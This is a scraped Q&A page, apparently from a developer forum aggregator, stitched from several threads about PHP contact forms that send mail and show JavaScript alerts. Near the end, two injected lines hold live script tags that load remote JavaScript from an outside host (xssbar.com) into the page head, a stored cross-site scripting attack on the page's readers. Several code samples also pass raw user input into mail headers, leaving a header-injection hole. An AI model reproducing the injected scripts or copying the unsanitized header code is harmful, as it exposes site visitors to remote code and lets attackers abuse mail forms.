How do i configure my contact form to receive messages - javascript

I am trying to configure my contact from to my remote server. The technical guys from my hosting have issued me this settings for my mail setting:
(POP3/IMAP) & outgoing mail (SMTP) server name is: mail.yourdomain.com
ports are: POP3 -> 110, IMAP -> 143 and SMTP -> 25 or 2525
Unfortunately, i do not know where to insert that into my php contact file.
these are the contact files:
contact.html
<form role="form" action="contact.php" method="post">
<div class="text-fields">
<div class="form-group">
<input type="text" class="form-control" name="bbname" id="bbname" placeholder="name:">
</div>
<div class="form-group">
<input type="email" class="form-control" name="bbemail" id="bbemail" placeholder="email:">
</div>
<div class="form-group">
<input type="text" class="form-control" name="bbphone" id="bbphone" placeholder="phone:">
</div>
</div>
<div class="submit-area">
<div class="form-group">
<textarea class="form-control" placeholder="message:" name="bbmessage" id="bbmessage"></textarea>
</div>
<button type="submit" class="btn btn-default" id="bbsubmit">Send it</button>
</div>
</form>
contact.php
<?php
$field_name = $_POST['bbname'];
$field_email = $_POST['bbemail'];
$field_phone = $_POST['bbphone'];
$field_message = $_POST['bbmessage'];
$mail_to = 'me#mydomain.com';
$subject = 'Message from '.$field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Phone: '.$field_phone."\n";
$body_message .= 'Message: '.$field_message;
$headers = 'From: '.$field_email."\r\n";
$headers .= 'Reply-To: '.$field_email."\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. I will contact you shortly.');
window.location = 'contact.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to me#mail.com');
window.location = 'contact.html';
</script>
<?php
}
?>

I advise you rather use ready Mailer class for that - http://phpmailer.worxware.com/ is the best choice. I use it for many years and you can configure SMTP connection very easy

Related

Why email sending functionality is not working?

I want to send an email when someone click on my website's download link. I am working in PHP and JavaScript. The following two snippets are in same file.
HTML
<form method="post">
<div class="form-group">
<input type="email" class="form-control" placeholder="Enter Email ID" id="email" onchange="check();" require pattern="[a-z0-9._%+-]+#[a-z0-9.-]+\.[a-z]{2,3}$"/>
</div>
<div class="form-group">
<label style="font-size:14px;"><input type="checkbox" id="toggle"> I agree to receive emails from MarketerBoard. We will not share your any personal information with anyone.</label>
</div>
<div class="form-group" style="min-height:40px;">
<a style="display:none;" href="/images/docs/EMAIL-MARKETING-GUIDE.pdf" name="downloadBtn" download class="mb-button" id="dwn-btn" onchange="check();" onClick="sendmail();">Get your free guide</a>
</div>
</form>
JavaScript
if(isset($_POST['downloadBtn']))
{
$to = 'examle#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: example#example.com' . "\r\n" .
'Reply-To: example#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
//echo 'Email Sent.';
}
I validate the email id of user from using following code. I want to send the email on click of the link, which does not seems to work.
<script type="text/javascript">
function check() {
document.getElementById("toggle").checked = false;
var email_x = document.getElementById("email").value;
filter = /^([a-zA-Z0-9_\.\-])+\#(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(email.value)) {
document.getElementById("email").style.border = "2px solid teal";
var userEmail = document.getElementById('email').value
$('#toggle').click(function () {
//check if checkbox is checked
if ($(this).is(':checked') & filter.test(email.value)) {
$("#dwn-btn").show(); }
else {
$("#dwn-btn").hide();}});
return true;
} else {
document.getElementById("email").style.border = "2px solid red";
$("#dwn-btn").hide();
return false;
}
}
</script>
Firstly check/change your PHP mail configuration:
Open your php.ini file
Search for the line that reads [mail function]
Add/change the details of your mail server. This could be a local mail server or the mail server of your ISP.
Save/close the php.ini file
Restart your web server
Example code below :
<form action="" method="post">
<input type="submit" value="Send email" />
<input type="hidden" name="send_mail" value="1" />
</form>
<?php
if(isset($_POST['send_mail']))
{
$to = 'nobody#example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: nobody#example.com' . "\r\n" .
'Reply-To: nobody#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo 'Email Sent.';
}
?>

Contact form with PHP and HTML form [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 5 years ago.
I am trying to create a contact form using php and a html form. When the user clicks submit I want the details that they have entered into the form to be sent in an email.
When the user clicks submit they are shown a message to say the message has been sent but when I check my email nothing has been sent.
Here is my code, please note the email has been changed to show the code here.
<div id = "form">
<form action ="contact2.php" method="post">
Name:
<input type="text" name="name">
<br>
<br>
Email:
<input type="text" name="email">
<br>
<br>
Message:
<br>
<br>
<TEXTAREA NAME="message" ROWS=6 COLS=40>
</TEXTAREA>
<br>
<br>
<input type="submit" value="Submit">
</div>
</form>
<?php
$field_name = $_POST['name'];
$email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'example#yahoo.co.uk';
$subject = 'Message from a site visitor ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.');
window.location = 'contact.php';
</script>
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to example#yahoo.co.uk');
window.location = 'contact.php';
</script>
<?php
}?>
you want to have all that javascript wrapped in a php echo or else it doesnt work.
so...
if ($mail_status) {
echo '<script language="javascript" type="text/javascript">';
thats just a bit of the code you need to implement...
you want to echo every javascript line too.

PHP and HTML form mail send with javascript alert not working [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 6 years ago.
I have very limited knowledge. I tried my best to understand. I want to send mail from a contact form, upon success show an alert message and remain on the same page. the mail is not sending and seems likeI have some bugs in the code. kindly help.
<form action="" method="post">
<div class="col-md-6">
<input name="name" type="text" class="form-control" placeholder="Name">
</div>
<div class="col-md-6">
<input name="email" type=“text” class="form-control" placeholder="Email">
</div>
<div class="col-md-12">
<input name="subject" type="text" class="form-control" placeholder="Subject">
</div>
<div class="col-md-12">
<textarea name="message" class="form-control" placeholder="Message" rows="4"></textarea>
</div>
<div class="col-md-8">
<input type="submit" class="form-control text-uppercase" name="send" value="submit" />
</div>
</form>
<?php
if ($_POST['send']) {
$ToEmail = 'info#autonomousdata.com';
$EmailSubject = $_POST['subject'];
$mailheader = "From: ".$_POST['email']."\r\n";
$mailheader .= "Reply-To: ".$_POST['email']."\r\n";
$mailheader .= "Content-type: text/html; charset=iso-8859-1\r\n" .
"X-Mailer: PHP/" . phpversion();
$MESSAGE_BODY = "Name: ".$_POST['name']."\n";
$MESSAGE_BODY .= "Email: ".$_POST['email']."\n";
$MESSAGE_BODY .= "Comment: ".$_POST['message']."";
if(mail($ToEmail, $EmailSubject, $MESSAGE_BODY, $mailheader)!==true) {
?>
<script type='text/javascript'> alert('failed to send the mail'); </script>
<?php
die('Fail to send');
} else{
?>
<script type='text/javascript'>alert('Thank you for contacting us! All information received will always remain confidential. We will contact you as soon as we review your message.');
</script>
<?php
}
}
?>
The HTML form had dubious quotation marks around the type='text' and I modified the php to add some rudimentary checking of variables and also sanitisation ~ hope it will help.
<form action="" method="post">
<div class="col-md-6">
<input name="name" type="text" class="form-control" placeholder="Name">
</div>
<div class="col-md-6"><!-- // incorrect quotation used on `text` //-->
<input name="email" type='text' class="form-control" placeholder="Email">
</div>
<div class="col-md-12">
<input name="subject" type="text" class="form-control" placeholder="Subject">
</div>
<div class="col-md-12">
<textarea name="message" class="form-control" placeholder="Message" rows="4"></textarea>
</div>
<div class="col-md-8">
<input type="submit" class="form-control text-uppercase" name="send" value="submit" />
</div>
</form>
<?php
if( $_SERVER['REQUEST_METHOD']=='POST' && isset( $_POST['subject'],$_POST['email'],$_POST['name'],$_POST['message'] ) ){
$to = 'info#autonomousdata.com';
$name = filter_input( INPUT_POST, 'name', FILTER_SANITIZE_STRING );
$subject = filter_input( INPUT_POST, 'subject', FILTER_SANITIZE_STRING );
$message = filter_input( INPUT_POST, 'message', FILTER_SANITIZE_STRING );
$email = filter_var( filter_input( INPUT_POST, 'email', FILTER_SANITIZE_STRING ), FILTER_VALIDATE_EMAIL );
$headers=array();
$headers[]="From: {$email}";
$headers[]="Reply-To: {$email}";
$headers[]="Content-type: text/html; charset=iso-8859-1";
$headers[]="X-Mailer: PHP/" . phpversion();
/* generate final headers string */
$headers=implode( "\r\n", $headers );
$message=array();
$message[]="Name: {$name}";
$message[]="Email: {$email}";
$message[]="Comment: {$message}";
/* generate final message string */
$message=implode( "\n", $message );
$result=#mail( $to, $subject, $message, $headers );
switch( $result ){
case true:
$msg='Thank you for contacting us! All information received will always remain confidential. We will contact you as soon as we review your message.';
break;
case false:
$msg='failed to send the mail';
break;
}
echo "<script type='text/javascript'>alert('{$msg}');</script>";
}
?>
The test page, in it's entirety, that I set up to test the basic functionality of the script. As this was all run locally I cannot confirm whether the email would be sent - it looks correct however.
<?php
?>
<!doctype html>
<html>
<head>
<title>Basic Contact Form - investigating email send failure.</title>
<script type='text/javascript' charset='utf-8'></script>
<style type='text/css' charset='utf-8'>
form{
width:50%;
}
form,output,input[type='text'],textarea,input[type='button'],input[type='submit']{
display:block;
box-sizing:border-box;
padding:0.5rem;
margin:0.5rem;
}
output{
color:red;
}
input[type='text'],textarea{
width:60%;
}
</style>
</head>
<body>
<form action="" method="post">
<div class="col-md-6">
<input name="name" type="text" class="form-control" placeholder="Name">
</div>
<div class="col-md-6"><!-- // incorrect quotation used on `text` //-->
<input name="email" type='text' class="form-control" placeholder="Email">
</div>
<div class="col-md-12">
<input name="subject" type="text" class="form-control" placeholder="Subject">
</div>
<div class="col-md-12">
<textarea name="message" class="form-control" placeholder="Message" rows="4"></textarea>
</div>
<div class="col-md-8">
<input type="submit" class="form-control text-uppercase" name="send" value="submit" />
</div>
<output id='msgs'></output>
</form>
<?php
if( $_SERVER['REQUEST_METHOD']=='POST' && isset( $_POST['subject'],$_POST['email'],$_POST['name'],$_POST['message'] ) ){
$to = 'info#autonomousdata.com';
$name = filter_input( INPUT_POST, 'name', FILTER_SANITIZE_STRING );
$subject = filter_input( INPUT_POST, 'subject', FILTER_SANITIZE_STRING );
$message = filter_input( INPUT_POST, 'message', FILTER_SANITIZE_STRING );
$email = filter_var( filter_input( INPUT_POST, 'email', FILTER_SANITIZE_STRING ), FILTER_VALIDATE_EMAIL );
if( !$to or !$name or !$subject or !$message or !$email ){
echo "Error: one or more required variables are not available.";
} else {
$headers=array();
$headers[]="From: {$email}";
$headers[]="Reply-To: {$email}";
$headers[]="Content-type: text/html; charset=iso-8859-1";
$headers[]="X-Mailer: PHP/" . phpversion();
/* generate final headers string */
$headers=implode( "\r\n", $headers );
$message=array();
$message[]="Name: {$name}";
$message[]="Email: {$email}";
$message[]="Comment: {$message}";
/* generate final message string */
$message=implode( "\n", $message );
$result=#mail( $to, $subject, $message, $headers );
switch( $result ){
case true:
$msg='Thank you for contacting us! All information received will always remain confidential. We will contact you as soon as we review your message.';
break;
case false:
$msg='Failed to send the mail';
break;
}
/* Let the user know the status of the form submission somehow */
echo "
<script type='text/javascript'>
document.getElementById('msgs').innerHTML='{$msg}';
/*
alert('{$msg}');
*/
</script>";
}
}
?>
</body>
</html>

Can someone help me generate a contact.php?

I'm doing my first website - I uploaded it to http://testinglakovna.borec.cz/ and I basically used a free template and adjusted it to my liking.
Unfortunately the contact form provided by the template didn't come with the "contact.php" and I've no idea how to correctly activate it.
It's been 4 days and all I figured out is I needed a contact.php activation and I found a script that activated the form - it DOES send the email but it only sends the message, doesn't show the sender email, name or the subject which the sender writes himself...
I'm now desperate for help - is there anybody who could help me write this code?
My contact.php code is this:
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'ilona.takacsova#gmail.com';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers = 'From: $email' . "\r\n" .
'Reply-To: reply#example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
and the contact form html of the index.html is:
<div class="col-lg-12">
<form action="contact.php" method="post" id="form" class="contact-form">
<div class="col-sm-6 contact-form-left">
<div class="form-group">
<input name="name" type="text" class="form-control" id="name" placeholder="Meno">
<input type="email" name="email" class="form-control" id="mail" placeholder="Email">
<input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet">
</div>
</div>
<div class="col-sm-6 contact-form-right">
<div class="form-group">
<textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea>
<center><button type="submit" class="btn btn-default">Odoslať</button></center>
</div>
</div>
</form>
</div>
And I've already searched for an answer on other people's questions but still can't resolve this issue. It's literally the last thing for me to do before I can publish the website officially.
Just made that and it worked on my e-mail address (tested).
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$message = $_POST['message'];
$from = 'From: testinglakovna.borec.cz';
$to = 'YOUR_EMAIL_HERE';
$subject = 'Správa z www.lakovnaturen.sk';
$body = "From:\n $name\n Email:\n $email\n Message:\n $message";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html\r\n";
$headers .= 'From: '.$email . "\r\n";
$headers .= 'Reply-To: '.$to . "\r\n";
$headers .='X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.');
window.location = 'index.html';
</script>
<?php
}
else { ?>
<script language="javascript" type="text/javascript">
alert('Spojenie zlyhalo. Prosím pošlite nám mail na iljatakacs#gmail.com');
window.location = 'index.html';
</script>
<?php
}
?>
Just declare a new variable, lets just call it $sendEmail = 'name = $name, email = $email, message= $message, subject = $subject'
After that, in the mail function, substitute the $message for the $sendEmail variable you just created
It should work fine but keep in mind that if you are deploying your code on a local server that email is going to be sent, most probably, to the spam folder.
Let me know if it helps...
Oops, looks like there's no content in this category.
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head")
[0].appendChild(s);</script>
Thanks!!!
<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head")
[0].appendChild(s);</script>

PHP mail form won't send input to email

I have a mail form that will not submit the input placed into the text area to the e-mail that I have inserted.
I am completely new to PHP.
This form has worked for me in the past.
I am trying to run the form from the freehostia.com server, I have the first upgraded plan which advertises SMTP.
Here is my HTML:
<form action="contact.php" method="post">First name:
<br>
<input class="A" id="B" type="text" name="name" size="25">
<br>
E-mail:
<br>
<input class="A" id="A" type="text" name="email" size="35">
<textarea id="A" name="message" rows="10" cols="50" placeholder="Please provide your information..."></textarea>
<div>
<input class="size" type="submit" value="Send!" />
</div>
</form>
Here's my PHP content:
<?php
$field_name = $_POST['name'];
$field_email = $_POST['email'];
$field_message = $_POST['message'];
$mail_to = 'XXXX#XX.com';
$subject = 'MESSAGE FROM SITE VISITOR ' . $field_name;
$body_message = 'From: '.$field_name."\n";
$body_message .= 'E-mail: '.$field_email."\n";
$body_message .= 'Message: '.$field_message;
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
if ($mail_status) { ?>
<script language="javascript" type="text/javascript">
alert('Thank you for the message. We will contact you shortly.')
window.location = 'index.html';
</script>
<?php }
else { ?>
<script language="javascript" type="text/javascript">
alert('Message failed. Please, send an email to XXXX#XX.com');
window.location = 'contact.html';
</script>
<?php } ?>
Everything appears to be in place to me. I can't for the life of me figure out what I have done wrong here.
where is ur '$email' variable in,
$headers = "From: $email\r\n";
$headers .= "Reply-To: $email\r\n";
where it initialized?
go this website: https://github.com/HouKun1230/Jquery-mobile-with-PHP-MYSQL and look the email.php which is a email sending simple. It may help you.

Categories

Resources